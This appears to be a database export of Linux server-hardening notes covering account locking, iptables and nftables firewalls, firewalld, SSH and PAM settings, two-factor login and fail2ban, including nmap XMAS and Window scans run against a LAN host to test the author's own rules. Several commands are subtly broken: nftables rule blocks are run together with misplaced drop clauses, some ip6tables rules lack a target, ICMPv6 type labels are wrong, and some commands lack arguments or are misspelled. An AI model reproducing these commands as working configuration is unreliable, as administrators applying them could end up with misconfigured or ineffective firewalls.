10:10:41.559357 0 +5698 1661 sudo usermod -L katelyn\nsudo usermod -U katelyn code txt 2024-07-28 10:10:41.579302 0 +5699 1661 Using `passwd` to lock and unlock user accounts: text txt 2024-07-28 10:10:41.599593 0 +5700 1661 sudo passwd -l katelyn\nsudo passwd -u katelyn code txt 2024-07-28 10:10:41.621069 0 +5701 1661 This does the same job as `usermod -L`, but in a slightly different manner.\nFor one thing, `passwd -l` will give you some feedback about what’s going on, whereas `usermod -L` gives you no feedback at all. text txt 2024-07-28 10:10:41.64199 0 +5702 1662 The first thing that you want to do when you set up a cloud-based server is to create a normal user account for yourself and set it up with full sudo privileges.\nThen, log out of the `root` user account, log in to your new account, and do this: text txt 2024-07-28 10:10:41.914763 0 +5703 1662 sudo passwd -l root code txt 2024-07-28 10:10:41.935722 0 +5704 1663 The `/etc/motd` file will present a message banner to anyone who logs in to a system through Secure Shell.\nOn your CentOS or AlmaLinux machine, an empty motd file is already there.\nOn your Ubuntu machine, the motd file isn’t there, but it’s a simple matter to create one. text txt 2024-07-28 10:10:42.467221 0 +5705 1663 motd stands for **Message of the Day**. text txt 2024-07-28 10:10:42.487306 0 +5706 1663 The issue file, also found in the /etc directory, shows a message on the local terminal, just above the login prompt.\nA default issue file will just contain macro code that shows information about the machine.\nHere’s an example from an Ubuntu machine: text txt 2024-07-28 10:10:42.50894 0 +5707 1663 ```\nUbuntu 22.04.1 LTS \\\\n \\\\l\n`````` text txt 2024-07-28 10:10:42.529076 0 +5708 1663 On a Red Hat-type machine, it would look like this: text txt 2024-07-28 10:10:42.54969 0 +5709 1663 ```\n\\\\S Kernel \\\\r on an \\\\m\n`````` text txt 2024-07-28 10:10:42.56924 0 +5710 1664 You can check your password on https://haveibeenpwned.com, but it is not a good idea to send your raw password to somebody’s website.\nInstead, just send a hash value of the password.\nBetter yet, let’s just send enough of the hash to allow the site to find the password in its database, but not so much that they can figure out what your exact password is.\nWe’ll do that by using the *Have I Been Pwned?* Application Programming Interface (API): text txt 2024-07-28 10:10:42.94571 0 +5711 1664 echo -n $candidate_password | sha1sum\ncurl https://api.pwnedpasswords.com - https://api.pwnedpasswords.com/range/21BD1 code txt 2024-07-28 10:10:42.967134 0 +5712 1665 You need a separate component of iptables to deal with IPv4 and IPv6. text txt 2024-07-28 10:10:43.412199 0 +5713 1665 sudo iptables -L\nsudo ip6tables -L code txt 2024-07-28 10:10:43.433706 0 +5714 1665 To see port numbers instead of port names, we can use the `-n` switch: text txt 2024-07-28 10:10:43.455001 0 +5715 1665 sudo iptables -L -n code txt 2024-07-28 10:10:43.476109 0 +5716 1666 sudo iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT code txt 2024-07-28 10:10:43.797925 0 +5717 1666 * `-A INPUT`: Places the rule at the end of the specified chain.\n* `-m`: Calls in an iptables module. In this case, we’re calling in the conntrack module to track connection states.\n* `--ctstate`: The ctstate, or connection state, portion of our rule is looking for two things. First, it’s looking for a connection that the client established with a server. Then, it looks for the related connection that’s coming back from the server in order to allow it to connect to the client. So, if a user was to use a web browser to connect to a website, this rule would allow packets from the web server to pass through the firewall to get to the user’s browser.\n* `-j`: Rules jump to a specific target, which in this case is ACCEPT. text txt 2024-07-28 10:10:43.820057 0 +5718 1667 To open port for **SSH** protocol following rule applies: text txt 2024-07-28 10:10:44.343322 0 +5719 1667 sudo iptables -A INPUT -p tcp --dport ssh -j ACCEPT\nsudo iptables -A INPUT -p tcp --dport 22 -j ACCEPT code txt 2024-07-28 10:10:44.363835 0 +5720 1667 When an option name consists of more than one letter, we need to precede it with two dashes, instead of just one. text txt 2024-07-28 10:10:44.383861 0 +5721 1667 * `-A INPUT`: Place this rule at the end of the `INPUT` chain.\n* `-p tcp`: Indicates the protocol that this rule affects.\n* `--dport ssh`: Specifies the destination port on which we want this rule to operate.\n* `-j ACCEPT`: Jump to ACCEPT target. text txt 2024-07-28 10:10:44.405693 0 +5722 1667 To open port 53 for both the TCP and UDP protocols: text txt 2024-07-28 10:10:44.427119 0 +5723 1667 sudo iptables -A INPUT -p tcp --dport 53 -j ACCEPT\nsudo iptables -A INPUT -p udp --dport 53 -j ACCEPT code txt 2024-07-28 10:10:44.448501 0 +5724 1668 sudo iptables -I INPUT 1 -i lo -j ACCEPT code txt 2024-07-28 10:10:44.737649 0 +5858 1698 sudo firewall-cmd --new-zone corp --permanent code txt 2024-07-28 10:11:01.200723 0 +5725 1668 `sudo` needs to know the machine’s hostname so that it can know which rules are allowed to run on a particular machine.\nIt uses the loopback interface to help resolve the hostname.\nIf the lo interface is blocked, it takes longer for `sudo` to resolve the hostname. text txt 2024-07-28 10:10:44.75957 0 +5726 1669 While blocking certain types of ICMP packets is good, blocking all ICMP packets is bad.\nThe harsh reality is that certain types of ICMP messages are necessary for the proper functionality of the network.\nSince the drop all that’s not allowed rule that we’ll eventually create also blocks ICMP packets, we’ll need to create some rules that allow the types of ICMP messages that we have to have. text txt 2024-07-28 10:10:45.304398 0 +5727 1669 sudo iptables -A INPUT -m conntrack -p icmp --icmp-type 3 --ctstate NEW,ESTABLISHED,RELATED -j ACCEPT\nsudo iptables -A INPUT -m conntrack -p icmp --icmp-type 11 --ctstate NEW,ESTABLISHED,RELATED -j ACCEPT\nsudo iptables -A INPUT -m conntrack -p icmp --icmp-type 12 --ctstate NEW,ESTABLISHED,RELATED -j ACCEPT code txt 2024-07-28 10:10:45.32629 0 +5728 1669 * `-m conntrack`: Use the conntrack module to allow packets that are in a certain state. This time, though, instead of just allowing packets from a host to which our server has been connected (`ESTABLISHED`,`RELATED`), we’re also allowing `NEW` packets that other hosts are sending to our server.\n* `-p icmp`: This refers to the ICMP protocol.\n* `--icmp-type`: There are quite a few types of ICMP messages:\n + **type 3**: These are the **“destination unreachable”** messages. Not only can they tell your server that it can’t reach a certain host, but they can also tell it why. For example, if the server has sent out a packet that’s too large for a network switch to handle, the switch will send back an ICMP message that tells the server to fragment that large packet. Without ICMP, the server would have connectivity problems every time it tries to send out a large packet that needs to be broken up into fragments.\n + **type 11**: **Time-exceeded** messages let your server know that a packet that it has sent out has either exceeded its **Time-to-Live (TTL)** value before it could reach its destination, or that a fragmented packet couldn’t be reassembled before the **TTL** expiration date.\n + **type 12**: **Parameter problem** messages indicate that the server had sent a packet with a bad IP header. In other words, the IP header is either missing an option flag or it’s of an invalid length.\n + **type 0** and **type 8**: These are the infamous ping packets. Actually, type 8 is the **echo request** packet that you would send out to ping a host, while type 0 is the **echo reply** that the host would return to let you know that it’s alive. Of course, allowing ping packets to get through could be a big help when troubleshooting network problems. If that scenario ever comes up, you could just add a couple of iptables rules to temporarily allow pings.\n + **type 5**: Now, we have the infamous **redirect messages**. Allowing these could be handy if you have a router that can suggest more efficient paths for the server to use, but hackers can also use them to redirect you to someplace that you don’t want to go. So, just block them. text txt 2024-07-28 10:10:45.354128 0 +5729 1670 We can set a default `DROP` or `REJECT` policy for the `INPUT` chain, or we can leave the policy set to `ACCEPT` and create a `DROP` or `REJECT` rule at the end of the `INPUT` chain.\nWhich one you choose is really a matter of preference. text txt 2024-07-28 10:10:45.708289 0 +5730 1670 To create a `DROP` rule at the end of the `INPUT` chain, use this command: text txt 2024-07-28 10:10:45.72831 0 +5731 1670 sudo iptables -A INPUT -j DROP\nsudo iptables -P INPUT DROP code txt 2024-07-28 10:10:45.748734 0 +5732 1671 There are several ways to do this, but the simplest way to do this on an Ubuntu machine is to install the `iptables-persistent` package: text txt 2024-07-28 10:10:46.219857 0 +5733 1671 sudo apt install iptables-persistent code txt 2024-07-28 10:10:46.240565 0 +5734 1671 You’ll now see two new rules files `rules.v4` and `rules.v6` in the `/etc/iptables/` directory. text txt 2024-07-28 10:10:46.261849 0 +5735 1671 The `iptables-persistent` package won’t save subsequent changes to your iptables rules.\nTo make these changes permanent, I’ll use the `iptables-save` command to save a new file in my own home directory.\nThen, I’ll copy the file over to the `/etc/iptables` directory, replacing the original one: text txt 2024-07-28 10:10:46.283943 0 +5736 1671 sudo iptables-save > rules.v4\nsudo cp rules.v4 /etc/iptables/ code txt 2024-07-28 10:10:46.30486 0 +5737 1672 We could do that with a `PREROUTING` chain, but the filter table doesn’t have a `PREROUTING` chain.\nTherefore, we need to use the `PREROUTING` chain of the mangle table instead.\nLet’s start by adding these two rules: text txt 2024-07-28 10:10:46.646037 0 +5738 1672 sudo iptables -t mangle -A PREROUTING -m conntrack --ctstate INVALID -j DROP\nsudo iptables -t mangle -A PREROUTING -p tcp ! --syn -m conntrack --ctstate NEW -j DROP code txt 2024-07-28 10:10:46.66771 0 +5739 1673 With our new mangle table rules in place, let’s perform an XMAS scan: text txt 2024-07-28 10:10:47.506053 0 +5740 1673 sudo nmap -sX 192.168.0.15 code txt 2024-07-28 10:10:47.527121 0 +5741 1673 The XMAS scan sends invalid packets that consist of the `FIN`, `PSH`, and `URG` flags. text txt 2024-07-28 10:10:47.547612 0 +5742 1673 To see packats counter on the target machine run: text txt 2024-07-28 10:10:47.569252 0 +5743 1673 sudo iptables -t mangle -L PREROUTING -v code txt 2024-07-28 10:10:47.588858 0 +5744 1673 The fact that all 1,000 scanned ports show as `open|filtered` means that the scan was blocked, and that Nmap can’t determine the true state of the ports.\nWe can view the result to see which rule did the blocking.\nHere, you can see that the first rule — the `INVALID` rule — blocked 2,000 packets and 80,000 bytes. text txt 2024-07-28 10:10:47.609984 0 +5745 1673 Now, let’s zero out the counter so that we can do another scan: text txt 2024-07-28 10:10:47.63087 0 +5746 1673 sudo iptables -t mangle -Z PREROUTING code txt 2024-07-28 10:10:47.650808 0 +5747 1673 This time, let’s do a Window scan, which bombards the target machine with ACK packets: text txt 2024-07-28 10:10:47.67331 0 +5748 1673 sudo nmap -sW 192.168.0.15 code txt 2024-07-28 10:10:47.694014 0 +5749 1673 As before, the scan was blocked, as indicated by the message that all 1,000 scanned ports have been filtered. text txt 2024-07-28 10:10:47.715272 0 +5750 1673 sudo iptables -t mangle -L PREROUTING -v code txt 2024-07-28 10:10:47.735132 0 +5751 1674 The biggest difference is that instead of using the `iptables` command, you’ll use the `ip6tables` command.\nThe other big difference between IPv4 and IPv6 is that with IPv6, you must allow more types of ICMP messages than you need to for IPv4. text txt 2024-07-28 10:10:49.014922 0 +5752 1674 sudo ip6tables -A INPUT -p icmpv6 --icmpv6-type 1 -j ACCEPT # Destination unreachable\nsudo ip6tables -A INPUT -p icmpv6 --icmpv6-type 2 -j ACCEPT # Packet too big\nsudo ip6tables -A INPUT -p icmpv6 --icmpv6-type 3 -j ACCEPT # Time exceeded\nsudo ip6tables -A INPUT -p icmpv6 --icmpv6-type 4 -j ACCEPT # Parameter problem with the packet header code txt 2024-07-28 10:10:49.036513 0 +5753 1674 Next, we’ll enable **echo requests** (type 128) and **echo responses** (type 129) so that IPv6 over IPv4 tunneling will work: text txt 2024-07-28 10:10:49.057432 0 +5754 1674 sudo ip6tables -A INPUT -p icmpv6 --icmpv6-type 128 -j ACCEPT # Echo Requests\nsudo ip6tables -A INPUT -p icmpv6 --icmpv6-type 129 -j ACCEPT # Echo Responses code txt 2024-07-28 10:10:49.078206 0 +5755 1674 The next four ICMP message types that we need are for the **Link-local Multicast Receiver Notification** messages: text txt 2024-07-28 10:10:49.099286 0 +5756 1674 sudo ip6tables -A INPUT --protocol icmpv6 --icmpv6-type 130 # Listener query\nsudo ip6tables -A INPUT --protocol icmpv6 --icmpv6-type 131 # Listener report\nsudo ip6tables -A INPUT --protocol icmpv6 --icmpv6-type 132 # Listener done\nsudo ip6tables -A INPUT --protocol icmpv6 --icmpv6-type 143 # Listener report v2 code txt 2024-07-28 10:10:49.120688 0 +5757 1674 Next up are our neighbor and router discovery message types: text txt 2024-07-28 10:10:49.140269 0 +5859 1699 sudo firewall-cmd --reload code txt 2024-07-28 10:11:01.44174 0 +5758 1674 sudo ip6tables -A INPUT -p icmpv6 --icmpv6-type 134 -j ACCEPT # Router solicitation\nsudo ip6tables -A INPUT -p icmpv6 --icmpv6-type 135 -j ACCEPT # Router advertisement\nsudo ip6tables -A INPUT -p icmpv6 --icmpv6-type 136 -j ACCEPT # Neighbor solicitation\nsudo ip6tables -A INPUT -p icmpv6 --icmpv6-type 141 -j ACCEPT # Neighbor advertisement\nsudo ip6tables -A INPUT -p icmpv6 --icmpv6-type 142 -j ACCEPT code txt 2024-07-28 10:10:49.161407 0 +5759 1674 For times when you’re using security certificates to authenticate the routers that are attached to your network, you’ll also need to allow **Secure Neighbor Discovery** (SEND) messages: text txt 2024-07-28 10:10:49.182776 0 +5760 1674 sudo ip6tables -A INPUT -p icmpv6 --icmpv6-type 148 -j ACCEPT # Inverse neighbor discovery solicitation\nsudo ip6tables -A INPUT -p icmpv6 --icmpv6-type 149 -j ACCEPT # Inverse neighbor discovery advertisement code txt 2024-07-28 10:10:49.203785 0 +5761 1674 We need to allow **Multicast Router Discovery** messages: text txt 2024-07-28 10:10:49.224909 0 +5762 1674 sudo ip6tables -A INPUT -p icmpv6 --icmpv6-type 151 -j ACCEPT\nsudo ip6tables -A INPUT -p icmpv6 --icmpv6-type 152 -j ACCEPT\nsudo ip6tables -A INPUT -p icmpv6 --icmpv6-type 153 -j ACCEPT code txt 2024-07-28 10:10:49.246135 0 +5763 1674 Finally, we’ll add our **DROP** rule to block everything else: text txt 2024-07-28 10:10:49.267125 0 +5764 1674 sudo ip6tables -A INPUT -j DROP code txt 2024-07-28 10:10:49.286646 0 +5765 1675 sudo nft list tables code txt 2024-07-28 10:10:49.51677 0 +5766 1676 First, we’ll go into the directory where the sample configurations are stored and list the sample configuration files: text txt 2024-07-28 10:10:50.485512 0 +5767 1676 cd /usr/share/doc/nftables/examples/ code txt 2024-07-28 10:10:50.506305 0 +5768 1676 Next, we’ll copy the workstation file over to the `/etc` directory, changing its name to `nftables.conf`. text txt 2024-07-28 10:10:50.528159 0 +5769 1676 sudo cp workstation.nft /etc/nftables.conf code txt 2024-07-28 10:10:50.547868 0 +5770 1676 * `flush ruleset`: We want to start with a clean slate, so we’ll flush out any rules that may have already been loaded.\n* `table inet filter`: This creates an inet family filter, which works for both IPv4 and IPv6.\n* `chain input`: Within the first pair of curly brackets, we have a chain called input.\n* `type filter hook input priority 0;`: Within the next pair of curly brackets, we define our chain and list the rules. This chain is defined as a filter type. hook input indicates that this chain is meant to process incoming packets. Because this chain has both a hook and a priority, it will accept packets directly from the network stack. text txt 2024-07-28 10:10:50.56964 0 +5771 1676 Next is the standard connection tracking (ct) rule, which accepts traffic that’s in response to a connection request from this host. text txt 2024-07-28 10:10:50.591528 0 +5772 1676 * `ct state new`: indicates that the firewall will allow other hosts to initiate connections to our server on these ports.\n* `meta nfproto ipv6`: accepts neighbor discovery packets, allowing IPv6 functionality.\n* `counter drop`: rule at the end silently blocks all other traffic and counts both the number of packets and the number of bytes that it blocks. text txt 2024-07-28 10:10:50.612259 0 +5773 1676 let’s say that this is a DNS server, and we need to allow connections to port 22 and port 53. text txt 2024-07-28 10:10:50.632795 0 +5774 1676 ```\ntcp dport { 22, 53 } ct state new accept\nudp dport 53 ct state new accept\n`````` text txt 2024-07-28 10:10:50.654133 0 +5775 1676 sudo nft list ruleset code txt 2024-07-28 10:10:50.677147 0 +5776 1676 * The `counter drop` rule drops and counts unwanted packets. text txt 2024-07-28 10:10:50.697563 0 +5777 1676 let’s say that we want to make a log entry when packets are dropped.\nJust add the log keyword to the drop rule, like so: text txt 2024-07-28 10:10:50.718272 0 +5778 1676 ```\ncounter log drop\n`````` text txt 2024-07-28 10:10:50.73956 0 +5779 1677 To make these messages easier to find, add a tag to each log message, like this: text txt 2024-07-28 10:10:51.011354 0 +5780 1677 ```\ncounter log prefix "Dropped packet: " drop\n`````` text txt 2024-07-28 10:10:51.031565 0 +5781 1677 Now, when you need to peruse the `/var/log/kern.log` file to see how many dropped packets you’ve had, just search for the Dropped packet text string. text txt 2024-07-28 10:10:51.051407 0 +5782 1678 To do this, we can edit the file, placing a `drop rule` above the rule that opens port 22.\nThe relevant section of the file will look like this: text txt 2024-07-28 10:10:51.770106 0 +5783 1678 ```\ntcp dport 22\nip saddr { 192.168.0.7, 192.168.0.10 } log prefix "Blocked SSH packets: "\ndrop tcp dport { 22, 53 } ct state new accept\n`````` text txt 2024-07-28 10:10:51.791278 0 +5784 1678 Next, we need to allow the desired types of ICMP packets, like so: text txt 2024-07-28 10:10:51.811378 0 +5785 1678 ```\nct state new,related,established icmp type { destination-unreachable, time-exceeded, parameter-problem } accept\nct state established,related,new icmpv6 type { destination-unreachable, time-exceeded, parameter-problem } accept\n`````` text txt 2024-07-28 10:10:51.83323 0 +5786 1678 Finally, we’ll block invalid packets by adding a new prerouting chain to the filter table, like so: text txt 2024-07-28 10:10:51.852924 0 +5787 1678 ```\nchain prerouting {\n type filter hook prerouting priority 0;\n ct state invalid counter log prefix "Invalid Packets: " drop tcp flags & (fin|syn|rst|ack) != syn\n ct state new\n counter log drop\n}\n`````` text txt 2024-07-28 10:10:51.874517 0 +5788 1678 sudo systemctl reload nftables code txt 2024-07-28 10:10:51.893918 0 +5789 1679 Unless we specify otherwise, all the rules that we create in `inet` table will apply to both IPv4 and IPv6. text txt 2024-07-28 10:10:52.084032 0 +5790 1680 With an `nft` command, you can create a custom rule on the fly that will block the attack. text txt 2024-07-28 10:10:53.792079 0 +5791 1680 First, let’s delete our previous configuration and create an inet table since we want something that works for both IPv4 and IPv6.\nWe’ll want to give it a somewhat descriptive name, so let’s call it `ubuntu_filter`: text txt 2024-07-28 10:10:53.813262 0 +5792 1680 sudo nft delete table inet filter\nsudo nft list tables\nsudo nft add table inet ubuntu_filter\nsudo nft list tables code txt 2024-07-28 10:10:53.835641 0 +5793 1680 Next, we’ll add an input filter chain to the table that we just created text txt 2024-07-28 10:10:53.856858 0 +5794 1680 sudo nft add chain inet ubuntu_filter input { type filter hook input priority 0\\\\; policy drop\\\\; } code txt 2024-07-28 10:10:53.876532 0 +5795 1680 Each nftables protocol family has its own set of hooks, which define how the packets will be processed. text txt 2024-07-28 10:10:53.897039 0 +5796 1680 For now, we’re only concerned with the ip/ip6/inet families, which have the following hooks: text txt 2024-07-28 10:10:53.91829 0 +5797 1680 * Prerouting\n* Input\n* Forward\n* Output\n* Postrouting text txt 2024-07-28 10:10:53.939153 0 +5798 1680 If we had not specified drop as the default policy, then the policy would have been accept by default. text txt 2024-07-28 10:10:53.960251 0 +5799 1680 Let’s start with a connection tracking rule and a rule to open the Secure Shell port.\nThen, we’ll verify that they were added: text txt 2024-07-28 10:10:53.981252 0 +5860 1700 sudo firewall-cmd --zone corp --add-service ssh --permanent\nsudo firewall-cmd --reload code txt 2024-07-28 10:11:01.707513 0 +5861 1701 sudo firewall-cmd --get-default code txt 2024-07-28 10:11:01.917477 0 +6041 1796 $y = f(x)$ ($y$ equals $f$ of $x$) text txt 2024-07-28 10:11:29.93286 0 +5800 1680 ```\nsudo nft add rule inet ubuntu_filter input ct state established accept sudo nft add rule inet ubuntu_filter input tcp dport 22 ct state new accept sudo nft list table inet ubuntu_filter table inet ubuntu_filter { chain input {\ntype filter hook input priority 0; policy drop;\nct state established accept tcp dport ssh ct state new accept } }\n`````` text txt 2024-07-28 10:10:54.002568 0 +5801 1680 We forgot to create a rule to allow the loopback adapter to accept packets.\nSince we want this rule to be at the top of the rules list, we’ll use insert instead of add: text txt 2024-07-28 10:10:54.023719 0 +5802 1680 ```\nsudo nft insert rule inet ubuntu_filter input iif lo accept sudo nft list table inet ubuntu_filter\ntable inet ubuntu_filter { chain input { type filter hook input priority 0; policy drop;\niif lo accept ct state established accept tcp dport ssh ct state new accept } }\n`````` text txt 2024-07-28 10:10:54.04407 0 +5803 1680 What if we want to insert a rule at a specific location? For that, you’ll need to use list with the `-a` option to see the rule handles: text txt 2024-07-28 10:10:54.065644 0 +5804 1680 sudo nft list table inet ubuntu_filter -a table inet ubuntu_filter { chain input { type filter hook input priority 0; policy drop; iif lo accept # handle 4 ct state established accept # handle 2 tcp dport ssh ct state new accept # handle 3 } } code txt 2024-07-28 10:10:54.087457 0 +5805 1680 There’s no real rhyme or reason for the way the handles are numbered. text txt 2024-07-28 10:10:54.107459 0 +5806 1680 To delete a rule, we have to specify the rule’s handle number: text txt 2024-07-28 10:10:54.129006 0 +5807 1680 sudo nft delete rule inet ubuntu_filter input handle 6 sudo nft list table inet ubuntu_filter -a table inet ubuntu_filter { chain input { type filter hook input priority 0; policy drop; iif lo accept # handle 4 ct state established accept # handle 2 tcp dport ssh ct state new accept # handle 3 } } code txt 2024-07-28 10:10:54.150305 0 +5808 1680 As is the case with iptables, everything you do from the command line will disappear once you reboot the machine. To make it permanent, let’s redirect the output of the list subcommand to the nftables.\nconf configuration file text txt 2024-07-28 10:10:54.171832 0 +5809 1680 sudo sh -c "nft list table inet ubuntu_filter > /etc/nftables.conf" code txt 2024-07-28 10:10:54.193334 0 +5810 1680 We’re missing the flush rule and the shebang line to specify the shell that we want to interpret this script. text txt 2024-07-28 10:10:54.214193 0 +5811 1680 ```\n#!/usr/sbin/nft -f flush ruleset table inet ubuntu_filter { chain input { type filter hook input priority 0; policy drop;\niif lo accept ct state established accept tcp dport ssh ct state new accept } }\n`````` text txt 2024-07-28 10:10:54.236014 0 +5812 1680 sudo systemctl reload nftables sudo nft list table inet ubuntu_filter code txt 2024-07-28 10:10:54.255828 0 +5813 1681 Using `sudo` accounts. text txt 2024-07-28 10:10:54.624125 0 +5814 1682 Using a limited access account and by separating fine grained privileges into activities, causes damage to whole system reduced. text txt 2024-07-28 10:10:54.821229 0 +5815 1683 On account creation: text txt 2024-07-28 10:10:55.232297 0 +5816 1683 useradd -s /bin/bash -m -G sudo code txt 2024-07-28 10:10:55.252813 0 +5817 1683 After account creation: text txt 2024-07-28 10:10:55.273643 0 +5818 1683 usermod -a -G sudo code txt 2024-07-28 10:10:55.294365 0 +5819 1684 /etc/login.defs code txt 2024-07-28 10:10:55.545478 0 +5820 1685 Set following configuration variable to `no` in `sshd` configuration: text txt 2024-07-28 10:10:56.057561 0 +5821 1685 sudoedit /etc/ssh/sshd_config code txt 2024-07-28 10:10:56.07756 0 +5822 1685 PermitRootLogin no code txt 2024-07-28 10:10:56.097171 0 +5823 1685 And restart `sshd.service` on `systemd`: text txt 2024-07-28 10:10:56.118111 0 +5824 1685 sudo systemctl restart sshd.service code txt 2024-07-28 10:10:56.138189 0 +5825 1686 sudoedit /etc/ssh/sshd_config code txt 2024-07-28 10:10:56.436661 0 +5826 1686 Port 9292 code txt 2024-07-28 10:10:56.457394 0 +5827 1687 sudoedit /etc/ssh/sshd_config code txt 2024-07-28 10:10:56.840633 0 +5828 1687 AddressFamily inet code txt 2024-07-28 10:10:56.861334 0 +5829 1687 sudo systemctl reload ssh code txt 2024-07-28 10:10:56.881263 0 +5830 1688 **Pluggable Authentication Modules (PAM)** text txt 2024-07-28 10:10:57.327015 0 +5831 1688 **CentOS** and **Red Hat** distros already come with **PAM** enabled. text txt 2024-07-28 10:10:57.346982 0 +5832 1688 *archlinux*\nsudo pacman -S pam code txt 2024-07-28 10:10:57.366649 0 +5833 1688 *debian*\nsudo apt install libpam-cracklib code txt 2024-07-28 10:10:57.387118 0 +5834 1689 Configure **PAM** by editing following configuration file: text txt 2024-07-28 10:10:57.936938 0 +5835 1689 sudoedit /etc/pam.d/passwd code txt 2024-07-28 10:10:57.957525 0 +5836 1689 Uncomment the line having following content: text txt 2024-07-28 10:10:57.977842 0 +5837 1689 password required pam_cracklib.so difok=2 minlen=8 dcredit=2 ocredit=2 retry=3 code txt 2024-07-28 10:10:57.997948 0 +5838 1689 * `difok`: check the number of characters used in the current password compared to previous one.\n* `minlen`: minimum length every password should have.\n* `dcredit`: the least number of numerals every password should have.\n* `ocredit`: the least number of special characters(?) every password should have.\n* `retry`: the number of times users can enter an incorrect password before getting locked. text txt 2024-07-28 10:10:58.019839 0 +5839 1690 Create a new group called `sshusers`: text txt 2024-07-28 10:10:58.856727 0 +5840 1690 sudo groupadd sshusers code txt 2024-07-28 10:10:58.876762 0 +5841 1690 Add appropriate users to this group: text txt 2024-07-28 10:10:58.896565 0 +5842 1690 sudo usermod -a -G sshusers code txt 2024-07-28 10:10:58.917471 0 +5843 1690 Allow users of this group to login in `/etc/ssh/sshd_config` configuration file: text txt 2024-07-28 10:10:58.938739 0 +5844 1690 AllowGroups sshusers code txt 2024-07-28 10:10:58.95981 0 +5845 1690 Restart `sshd.service`: text txt 2024-07-28 10:10:58.979517 0 +5846 1690 sudo systemctl restart sshd.service code txt 2024-07-28 10:10:59.000086 0 +5847 1690 Using this configuration, a user who does not belong to this specific group\nwill be prevented to access to the server over SSH; their passwords may be\nentered correctly, but they will not be given access. This reduces the chance\nof people hacking the server through brute force attacks. text txt 2024-07-28 10:10:59.021336 0 +5848 1691 - `netfilter` is the Linux firewall implemented in kernel.\n- `iptables` is a simple firewall interface to `netfilter`.\n- `firewalld` is also a commonly used firewall interface to `netfilter`. text txt 2024-07-28 10:10:59.489178 0 +5849 1691 *archlinux*\nsudo pacman -S iptables firewalld code txt 2024-07-28 10:10:59.509757 0 +5850 1691 Enable only one of interfaces: text txt 2024-07-28 10:10:59.529495 0 +5851 1691 sudo systemctl enable --now firewalld code txt 2024-07-28 10:10:59.550158 0 +5852 1692 firewall-cmd --get-zones code txt 2024-07-28 10:10:59.794088 0 +5853 1693 sudo firewall-cmd --zone public --list-services code txt 2024-07-28 10:11:00.037416 0 +5854 1694 sudo firewall-cmd --zone public --list-ports code txt 2024-07-28 10:11:00.279006 0 +5855 1695 sudo firewall-cmd --list-all code txt 2024-07-28 10:11:00.541283 0 +5856 1696 sudo firewall-cmd --list-all-zones code txt 2024-07-28 10:11:00.786189 0 +5857 1697 Use `--permanent` optional argument to make changes take effect even after reboot. text txt 2024-07-28 10:11:00.961373 0 +5862 1702 You should already allow `ssh` service in new zone to prevent losing access to the server once new zone was set to the interface. text txt 2024-07-28 10:11:02.228547 0 +5863 1702 The firewalld will access the default zone for every command is used unless any other zone is specified. text txt 2024-07-28 10:11:02.250198 0 +5864 1702 sudo firewall-cmd --change-interface --zone corp --permanent\nsudo firewall-cmd --set-default corp code txt 2024-07-28 10:11:02.271079 0 +5865 1703 sudo firewall-cmd --get-active-zones code txt 2024-07-28 10:11:02.516862 0 +5866 1704 sudo firewall-cmd --get-services code txt 2024-07-28 10:11:02.755888 0 +5867 1705 sudo systemctl enable --now \nsudo firewall-cmd --add-service --permanent\nsudo firewall-cmd --reload code txt 2024-07-28 10:11:03.027758 0 +5868 1706 sudo firewall-cmd --remove-service --permanent\nsudo firewall-cmd --reload\nsudo systemctl disable --now code txt 2024-07-28 10:11:03.295417 0 +5869 1707 sudo firewall-cmd --add-port 1622/tcp --permanent\nsudo firewall-cmd --reload code txt 2024-07-28 10:11:03.530341 0 +5870 1708 sudo firewall-cmd --remove-port 1622/tcp --permanent\nsudo fierwall-cmd --reload code txt 2024-07-28 10:11:03.812232 0 +5871 1709 ssh-keygen -t rsa -b 4096 -C "user@domain.tld" -f ~/.ssh/user_rsa code txt 2024-07-28 10:11:04.044101 0 +5872 1710 ssh-copy-id -i ~/.ssh/user_rsa.pub -p user@domain.tld code txt 2024-07-28 10:11:04.272492 0 +5873 1711 *deprecated*\nnetstat -tuwlpn code txt 2024-07-28 10:11:04.598599 0 +5874 1711 *common*\nss -tuwlpn code txt 2024-07-28 10:11:04.618469 0 +5875 1712 *archlinux*\nsudo pacman -S libpam-google-authenticator code txt 2024-07-28 10:11:05.595378 0 +5876 1712 *debian*\nsudo apt install libpam-google-authenticator code txt 2024-07-28 10:11:05.615116 0 +5877 1712 Setup a key: text txt 2024-07-28 10:11:05.634842 0 +5878 1712 google-authenticator code txt 2024-07-28 10:11:05.6558 0 +5879 1712 Edit `sshd` service configuration: text txt 2024-07-28 10:11:05.676868 0 +5880 1712 sudoedit /etc/ssh/sshd_config code txt 2024-07-28 10:11:05.697577 0 +5881 1712 UsePAM yes\nChallengeResponseAuthentication yes code txt 2024-07-28 10:11:05.717815 0 +5882 1712 sudo systemctl reload sshd code txt 2024-07-28 10:11:05.738414 0 +5883 1712 Edit `pam` configuration: text txt 2024-07-28 10:11:05.759918 0 +5884 1712 sudoedit /etc/pam.d/sshd code txt 2024-07-28 10:11:05.781174 0 +5885 1712 Add the following line: text txt 2024-07-28 10:11:05.801649 0 +5886 1712 auth required pam_google_authenticator.so code txt 2024-07-28 10:11:05.822843 0 +5887 1713 sudoedit /etc/sysconfig/network code txt 2024-07-28 10:11:06.165247 0 +5888 1713 NETWORKING_IPV6=no\nIPV6INIT=no code txt 2024-07-28 10:11:06.185575 0 +5889 1714 sudo apt install selinux-basics selinux-policy-default auditd code txt 2024-07-28 10:11:06.396371 0 +5890 1715 Edit **PAM** configuration file: text txt 2024-07-28 10:11:06.774109 0 +5891 1715 sudoedit /etc/pam.d/system-auth code txt 2024-07-28 10:11:06.794737 0 +5892 1715 Add following lines: text txt 2024-07-28 10:11:06.814537 0 +5893 1715 auth sufficient pam_unix.so likeauth nullok\npassword sufficient pam_unix.so nullok use_authtok sha256 shadow remember=5 code txt 2024-07-28 10:11:06.83491 0 +5894 1716 `fail2ban` tool blocks frequently attempted login attempts. text txt 2024-07-28 10:11:07.565842 0 +5895 1716 *archlinux*\nsudo pacman -S fail2ban code txt 2024-07-28 10:11:07.587202 0 +5896 1716 Configure the service by copying sample config file: text txt 2024-07-28 10:11:07.607572 0 +5897 1716 cp /etc/fail2ban/jail.conf /etc/fail2ban/jail.local\nsudoedit /etc/fail2ban/jail.local code txt 2024-07-28 10:11:07.627381 0 +5898 1716 [sshd]\nenabled = true\nport = ssh\nprotocol = tcp\nfilter = sshd\nlogpath = /var/log/secure\nmaxretry = 5\nfindtime = 600\nbantime = 600 code txt 